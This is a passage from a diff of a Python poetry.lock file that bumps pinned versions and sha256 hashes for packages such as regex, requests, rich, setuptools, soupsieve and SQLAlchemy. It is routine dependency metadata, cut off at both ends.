"sha256:395161bbdbd04a8333b9ff9763a05e9ceb4fe210e3c7690f5e68cedd3d65d8e1"}, - {file = "regex-2022.10.31-cp39-cp39-win_amd64.whl", hash = "sha256:957403a978e10fb3ca42572a23e6f7badff39aa1ce2f4ade68ee452dc6807692"}, - {file = "regex-2022.10.31.tar.gz", hash = "sha256:a3a98921da9a1bf8457aeee6a551948a83601689e5ecdd736894ea9bbec77e83"}, + {file = "regex-2023.5.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:48c9ec56579d4ba1c88f42302194b8ae2350265cb60c64b7b9a88dcb7fbde309"}, + {file = "regex-2023.5.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02f4541550459c08fdd6f97aa4e24c6f1932eec780d58a2faa2068253df7d6ff"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:53e22e4460f0245b468ee645156a4f84d0fc35a12d9ba79bd7d79bdcd2f9629d"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4b870b6f632fc74941cadc2a0f3064ed8409e6f8ee226cdfd2a85ae50473aa94"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:171c52e320fe29260da550d81c6b99f6f8402450dc7777ef5ced2e848f3b6f8f"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aad5524c2aedaf9aa14ef1bc9327f8abd915699dea457d339bebbe2f0d218f86"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5a0f874ee8c0bc820e649c900243c6d1e6dc435b81da1492046716f14f1a2a96"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:e645c757183ee0e13f0bbe56508598e2d9cd42b8abc6c0599d53b0d0b8dd1479"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a4c5da39bca4f7979eefcbb36efea04471cd68db2d38fcbb4ee2c6d440699833"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:5e3f4468b8c6fd2fd33c218bbd0a1559e6a6fcf185af8bb0cc43f3b5bfb7d636"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:59e4b729eae1a0919f9e4c0fc635fbcc9db59c74ad98d684f4877be3d2607dd6"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ba73a14e9c8f9ac409863543cde3290dba39098fc261f717dc337ea72d3ebad2"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:0bbd5dcb19603ab8d2781fac60114fb89aee8494f4505ae7ad141a3314abb1f9"}, + {file = "regex-2023.5.5-cp310-cp310-win32.whl", hash = "sha256:40005cbd383438aecf715a7b47fe1e3dcbc889a36461ed416bdec07e0ef1db66"}, + {file = "regex-2023.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:59597cd6315d3439ed4b074febe84a439c33928dd34396941b4d377692eca810"}, + {file = "regex-2023.5.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8f08276466fedb9e36e5193a96cb944928301152879ec20c2d723d1031cd4ddd"}, + {file = "regex-2023.5.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cd46f30e758629c3ee91713529cfbe107ac50d27110fdcc326a42ce2acf4dafc"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2910502f718828cecc8beff004917dcf577fc5f8f5dd40ffb1ea7612124547b"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:445d6f4fc3bd9fc2bf0416164454f90acab8858cd5a041403d7a11e3356980e8"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:18196c16a584619c7c1d843497c069955d7629ad4a3fdee240eb347f4a2c9dbe"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33d430a23b661629661f1fe8395be2004006bc792bb9fc7c53911d661b69dd7e"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72a28979cc667e5f82ef433db009184e7ac277844eea0f7f4d254b789517941d"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f764e4dfafa288e2eba21231f455d209f4709436baeebb05bdecfb5d8ddc3d35"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:23d86ad2121b3c4fc78c58f95e19173790e22ac05996df69b84e12da5816cb17"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:690a17db524ee6ac4a27efc5406530dd90e7a7a69d8360235323d0e5dafb8f5b"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:1ecf3dcff71f0c0fe3e555201cbe749fa66aae8d18f80d2cc4de8e66df37390a"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:811040d7f3dd9c55eb0d8b00b5dcb7fd9ae1761c454f444fd9f37fe5ec57143a"}, + {file = "regex-2023.5.5-cp311-cp311-win32.whl", hash = "sha256:c8c143a65ce3ca42e54d8e6fcaf465b6b672ed1c6c90022794a802fb93105d22"}, + {file = "regex-2023.5.5-cp311-cp311-win_amd64.whl", hash = "sha256:586a011f77f8a2da4b888774174cd266e69e917a67ba072c7fc0e91878178a80"}, + {file = "regex-2023.5.5-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b6365703e8cf1644b82104cdd05270d1a9f043119a168d66c55684b1b557d008"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a56c18f21ac98209da9c54ae3ebb3b6f6e772038681d6cb43b8d53da3b09ee81"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8b942d8b3ce765dbc3b1dad0a944712a89b5de290ce8f72681e22b3c55f3cc8"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:844671c9c1150fcdac46d43198364034b961bd520f2c4fdaabfc7c7d7138a2dd"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c2ce65bdeaf0a386bb3b533a28de3994e8e13b464ac15e1e67e4603dd88787fa"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fee0016cc35a8a91e8cc9312ab26a6fe638d484131a7afa79e1ce6165328a135"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:18f05d14f14a812fe9723f13afafefe6b74ca042d99f8884e62dbd34dcccf3e2"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:941b3f1b2392f0bcd6abf1bc7a322787d6db4e7457be6d1ffd3a693426a755f2"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:921473a93bcea4d00295799ab929522fc650e85c6b9f27ae1e6bb32a790ea7d3"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:e2205a81f815b5bb17e46e74cc946c575b484e5f0acfcb805fb252d67e22938d"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:385992d5ecf1a93cb85adff2f73e0402dd9ac29b71b7006d342cc920816e6f32"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:890a09cb0a62198bff92eda98b2b507305dd3abf974778bae3287f98b48907d3"}, + {file = "regex-2023.5.5-cp36-cp36m-win32.whl", hash = "sha256:821a88b878b6589c5068f4cc2cfeb2c64e343a196bc9d7ac68ea8c2a776acd46"}, + {file = "regex-2023.5.5-cp36-cp36m-win_amd64.whl", hash = "sha256:7918a1b83dd70dc04ab5ed24c78ae833ae8ea228cef84e08597c408286edc926"}, + {file = "regex-2023.5.5-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:338994d3d4ca4cf12f09822e025731a5bdd3a37aaa571fa52659e85ca793fb67"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a69cf0c00c4d4a929c6c7717fd918414cab0d6132a49a6d8fc3ded1988ed2ea"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f5e06df94fff8c4c85f98c6487f6636848e1dc85ce17ab7d1931df4a081f657"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8906669b03c63266b6a7693d1f487b02647beb12adea20f8840c1a087e2dfb5"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fda3e50abad8d0f48df621cf75adc73c63f7243cbe0e3b2171392b445401550"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ac2b7d341dc1bd102be849d6dd33b09701223a851105b2754339e390be0627a"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:fb2b495dd94b02de8215625948132cc2ea360ae84fe6634cd19b6567709c8ae2"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:aa7d032c1d84726aa9edeb6accf079b4caa87151ca9fabacef31fa028186c66d"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:3d45864693351c15531f7e76f545ec35000d50848daa833cead96edae1665559"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21e90a288e6ba4bf44c25c6a946cb9b0f00b73044d74308b5e0afd190338297c"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:10250a093741ec7bf74bcd2039e697f519b028518f605ff2aa7ac1e9c9f97423"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:6b8d0c153f07a953636b9cdb3011b733cadd4178123ef728ccc4d5969e67f3c2"}, + {file = "regex-2023.5.5-cp37-cp37m-win32.whl", hash = "sha256:10374c84ee58c44575b667310d5bbfa89fb2e64e52349720a0182c0017512f6c"}, + {file = "regex-2023.5.5-cp37-cp37m-win_amd64.whl", hash = "sha256:9b320677521aabf666cdd6e99baee4fb5ac3996349c3b7f8e7c4eee1c00dfe3a"}, + {file = "regex-2023.5.5-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:afb1c70ec1e594a547f38ad6bf5e3d60304ce7539e677c1429eebab115bce56e"}, + {file = "regex-2023.5.5-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:cf123225945aa58b3057d0fba67e8061c62d14cc8a4202630f8057df70189051"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a99757ad7fe5c8a2bb44829fc57ced11253e10f462233c1255fe03888e06bc19"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a623564d810e7a953ff1357f7799c14bc9beeab699aacc8b7ab7822da1e952b8"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ced02e3bd55e16e89c08bbc8128cff0884d96e7f7a5633d3dc366b6d95fcd1d6"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d1cbe6b5be3b9b698d8cc4ee4dee7e017ad655e83361cd0ea8e653d65e469468"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a6e4b0e0531223f53bad07ddf733af490ba2b8367f62342b92b39b29f72735a"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2e9c4f778514a560a9c9aa8e5538bee759b55f6c1dcd35613ad72523fd9175b8"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:256f7f4c6ba145f62f7a441a003c94b8b1af78cee2cccacfc1e835f93bc09426"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:bd7b68fd2e79d59d86dcbc1ccd6e2ca09c505343445daaa4e07f43c8a9cc34da"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4a5059bd585e9e9504ef9c07e4bc15b0a621ba20504388875d66b8b30a5c4d18"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:6893544e06bae009916a5658ce7207e26ed17385149f35a3125f5259951f1bbe"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:c64d5abe91a3dfe5ff250c6bb267ef00dbc01501518225b45a5f9def458f31fb"}, + {file = "regex-2023.5.5-cp38-cp38-win32.whl", hash = "sha256:7923470d6056a9590247ff729c05e8e0f06bbd4efa6569c916943cb2d9b68b91"}, + {file = "regex-2023.5.5-cp38-cp38-win_amd64.whl", hash = "sha256:4035d6945cb961c90c3e1c1ca2feb526175bcfed44dfb1cc77db4fdced060d3e"}, + {file = "regex-2023.5.5-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:50fd2d9b36938d4dcecbd684777dd12a407add4f9f934f235c66372e630772b0"}, + {file = "regex-2023.5.5-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d19e57f888b00cd04fc38f5e18d0efbd91ccba2d45039453ab2236e6eec48d4d"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd966475e963122ee0a7118ec9024388c602d12ac72860f6eea119a3928be053"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db09e6c18977a33fea26fe67b7a842f706c67cf8bda1450974d0ae0dd63570df"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6164d4e2a82f9ebd7752a06bd6c504791bedc6418c0196cd0a23afb7f3e12b2d"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:84397d3f750d153ebd7f958efaa92b45fea170200e2df5e0e1fd4d85b7e3f58a"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9c3efee9bb53cbe7b285760c81f28ac80dc15fa48b5fe7e58b52752e642553f1"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:144b5b017646b5a9392a5554a1e5db0000ae637be4971c9747566775fc96e1b2"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1189fbbb21e2c117fda5303653b61905aeeeea23de4a94d400b0487eb16d2d60"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f83fe9e10f9d0b6cf580564d4d23845b9d692e4c91bd8be57733958e4c602956"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:72aa4746993a28c841e05889f3f1b1e5d14df8d3daa157d6001a34c98102b393"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:de2f780c3242ea114dd01f84848655356af4dd561501896c751d7b885ea6d3a1"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:290fd35219486dfbc00b0de72f455ecdd63e59b528991a6aec9fdfc0ce85672e"}, + {file = "regex-2023.5.5-cp39-cp39-win32.whl", hash = "sha256:732176f5427e72fa2325b05c58ad0b45af341c459910d766f814b0584ac1f9ac"}, + {file = "regex-2023.5.5-cp39-cp39-win_amd64.whl", hash = "sha256:1307aa4daa1cbb23823d8238e1f61292fd07e4e5d8d38a6efff00b67a7cdb764"}, + {file = "regex-2023.5.5.tar.gz", hash = "sha256:7d76a8a1fc9da08296462a18f16620ba73bcbf5909e42383b253ef34d9d5141e"}, ] [[package]] name = "requests" -version = "2.28.2" +version = "2.31.0" description = "Python HTTP for Humans." category = "main" optional = false -python-versions = ">=3.7, <4" +python-versions = ">=3.7" files = [ - {file = "requests-2.28.2-py3-none-any.whl", hash = "sha256:64299f4909223da747622c030b781c0d7811e359c37124b4bd368fb8c6518baa"}, - {file = "requests-2.28.2.tar.gz", hash = "sha256:98b1b2782e3c6c4904938b84c0eb932721069dfdb9134313beff7c83c2df24bf"}, + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, ] [package.dependencies] certifi = ">=2017.4.17" charset-normalizer = ">=2,<4" idna = ">=2.5,<4" -urllib3 = ">=1.21.1,<1.27" +urllib3 = ">=1.21.1,<3" [package.extras] socks = ["PySocks (>=1.5.6,!=1.5.7)"] @@ -2130,14 +2109,14 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" -version = "13.3.2" +version = "13.3.5" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" category = "main" optional = false python-versions = ">=3.7.0" files = [ - {file = "rich-13.3.2-py3-none-any.whl", hash = "sha256:a104f37270bf677148d8acb07d33be1569eeee87e2d1beb286a4e9113caf6f2f"}, - {file = "rich-13.3.2.tar.gz", hash = "sha256:91954fe80cfb7985727a467ca98a7618e5dd15178cc2da10f553b36a93859001"}, + {file = "rich-13.3.5-py3-none-any.whl", hash = "sha256:69cdf53799e63f38b95b9bf9c875f8c90e78dd62b2f00c13a911c7a3b9fa4704"}, + {file = "rich-13.3.5.tar.gz", hash = "sha256:2d11b9b8dd03868f09b4fffadc84a6a8cda574e40dc90821bd845720ebb8e89c"}, ] [package.dependencies] @@ -2150,19 +2129,19 @@ jupyter = ["ipywidgets (>=7.5.1,<9)"] [[package]] name = "setuptools" -version = "67.6.0" +version = "67.8.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" category = "dev" optional = false python-versions = ">=3.7" files = [ - {file = "setuptools-67.6.0-py3-none-any.whl", hash = "sha256:b78aaa36f6b90a074c1fa651168723acbf45d14cb1196b6f02c0fd07f17623b2"}, - {file = "setuptools-67.6.0.tar.gz", hash = "sha256:2ee892cd5f29f3373097f5a814697e397cf3ce313616df0af11231e2ad118077"}, + {file = "setuptools-67.8.0-py3-none-any.whl", hash = "sha256:5df61bf30bb10c6f756eb19e7c9f3b473051f48db77fddbe06ff2ca307df9a6f"}, + {file = "setuptools-67.8.0.tar.gz", hash = "sha256:62642358adc77ffa87233bc4d2354c4b2682d214048f500964dbe760ccedf102"}, ] [package.extras] docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (==0.8.3)", "sphinx-reredirects", "sphinxcontrib-towncrier"] -testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8 (<5)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-ruff", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] testing-integration = ["build[virtualenv]", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"] [[package]] @@ -2196,65 +2175,65 @@ files = [ [[package]] name = "soupsieve" -version = "2.4" +version = "2.4.1" description = "A modern CSS selector implementation for Beautiful Soup." category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "soupsieve-2.4-py3-none-any.whl", hash = "sha256:49e5368c2cda80ee7e84da9dbe3e110b70a4575f196efb74e51b94549d921955"}, - {file = "soupsieve-2.4.tar.gz", hash = "sha256:e28dba9ca6c7c00173e34e4ba57448f0688bb681b7c5e8bf4971daafc093d69a"}, + {file = "soupsieve-2.4.1-py3-none-any.whl", hash = "sha256:1c1bfee6819544a3447586c889157365a27e10d88cde3ad3da0cf0ddf646feb8"}, + {file = "soupsieve-2.4.1.tar.gz", hash = "sha256:89d12b2d5dfcd2c9e8c22326da9d9aa9cb3dfab0a83a024f05704076ee8d35ea"}, ] [[package]] name = "sqlalchemy" -version = "2.0.7" +version = "2.0.15" description = "Database Abstraction Library" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-2.0.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7917632606fc5d4be661dcde45cc415df835e594e2c50cc999a44f24b6bf6d92"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:32f508fef9c5a7d19411d94ef64cf5405e42c4689e51ddbb81ac9a7be045cce8"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b0995b92612979d208189245bf87349ad9243b97b49652347a28ddee0803225a"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cebd161f964af58290596523c65e41a5a161a99f7212b1ae675e288a4b5e0a7c"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:c38641f5c3714505d65dbbd8fb1350408b9ad8461769ec8e440e1177f9c92d1d"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:921485d1f69ed016e1f756de67d02ad4f143eb6b92b9776bfff78786d8978ab5"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-win32.whl", hash = "sha256:a65a8fd09bdffd63fa23b39cd902e6a4ca23d86ecfe129513e43767a1f3e91fb"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-win_amd64.whl", hash = "sha256:d2e7411d5ea164c6f4d003f5d4f5e72e202956aaa7496b95bb4a4c39669e001c"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:432cfd77642771ee7ea0dd0f3fb664f18506a3625eab6e6d5d1d771569171270"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ce076e25f1170000b4ecdc57a1ff8a70dbe4a5648ec3da0563ef3064e8db4f15"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14854bdb2a35af536d14f77dfa8dbc20e1bb1972996d64c4147e0d3165c9aaf5"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9020125e3be677c64d4dda7048e247343f1663089cf268a4cc98c957adb7dbe0"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fb649c5473f79c9a7b6133f53a31f4d87de14755c79224007eb7ec76e628551e"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:33f73cc45ffa050f5c3b60ff4490e0ae9e02701461c1600d5ede1b008076b1b9"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-win32.whl", hash = "sha256:0789e199fbce8cb1775337afc631ed12bcc5463dd77d7a06b8dafd758cde51f8"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-win_amd64.whl", hash = "sha256:013f4f330001e84a2b0ef1f2c9bd73169c79d582e54e1a144be1be1dbc911711"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4339110be209fea37a2bb4f35f1127c7562a0393e9e6df5d9a65cc4f5c167cb6"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e7e61e2e4dfe175dc3510889e44eda1c32f55870d6950ef40519640cb266704d"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6d44ff7573016fc26311b5a5c54d5656fb9e0c39e138bc8b81cb7c8667485203"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:57b80e877eb6ec63295835f8a3b86ca3a44829f80c4748e1b019e03adea550fc"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:e90f0be674e0845c5c1ccfa5e31c9ee28fd406546a61afc734355cc7ea1f8f8b"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-win32.whl", hash = "sha256:e735a635126b2338dfd3a0863b675437cb53d85885a7602b8cffb24345df33ed"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-win_amd64.whl", hash = "sha256:ea1c63e61b5c13161c8468305f0a5837c80aae2070e33654c68dd12572b638eb"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cc337b96ec59ef29907eeadc2ac11188739281568f14c719e61550ca6d201a41"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:0eac488be90dd3f7a655d2e34fa59e1305fccabc4abfbd002e3a72ae10bd2f89"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b8ab8f90f4a13c979e6c41c9f011b655c1b9ae2df6cffa8fa2c7c4d740f3512e"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc370d53fee7408330099c4bcc2573a107757b203bc61f114467dfe586a0c7bd"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:494db0026918e3f707466a1200a5dedbf254a4bce01a3115fd95f04ba8258f09"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:486015a58c9a67f65a15b4f19468b35b97cee074ae55386a9c240f1da308fbfe"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-win32.whl", hash = "sha256:5f7c40ec2e3b31293184020daba95850832bea523a08496ac89b27a5276ec804"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-win_amd64.whl", hash = "sha256:3da3dff8d9833a7d7f66a3c45a79a3955f775c79f47bb7eea266d0b4c267b17a"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:774965c41b71c8ebe3c5728bf5b9a948231fc3a0422d9fdace0686f5bb689ad6"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:94556a2a7fc3de094ea056b62845e2e6e271e26d1e1b2540a1cd2d2506257a10"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = 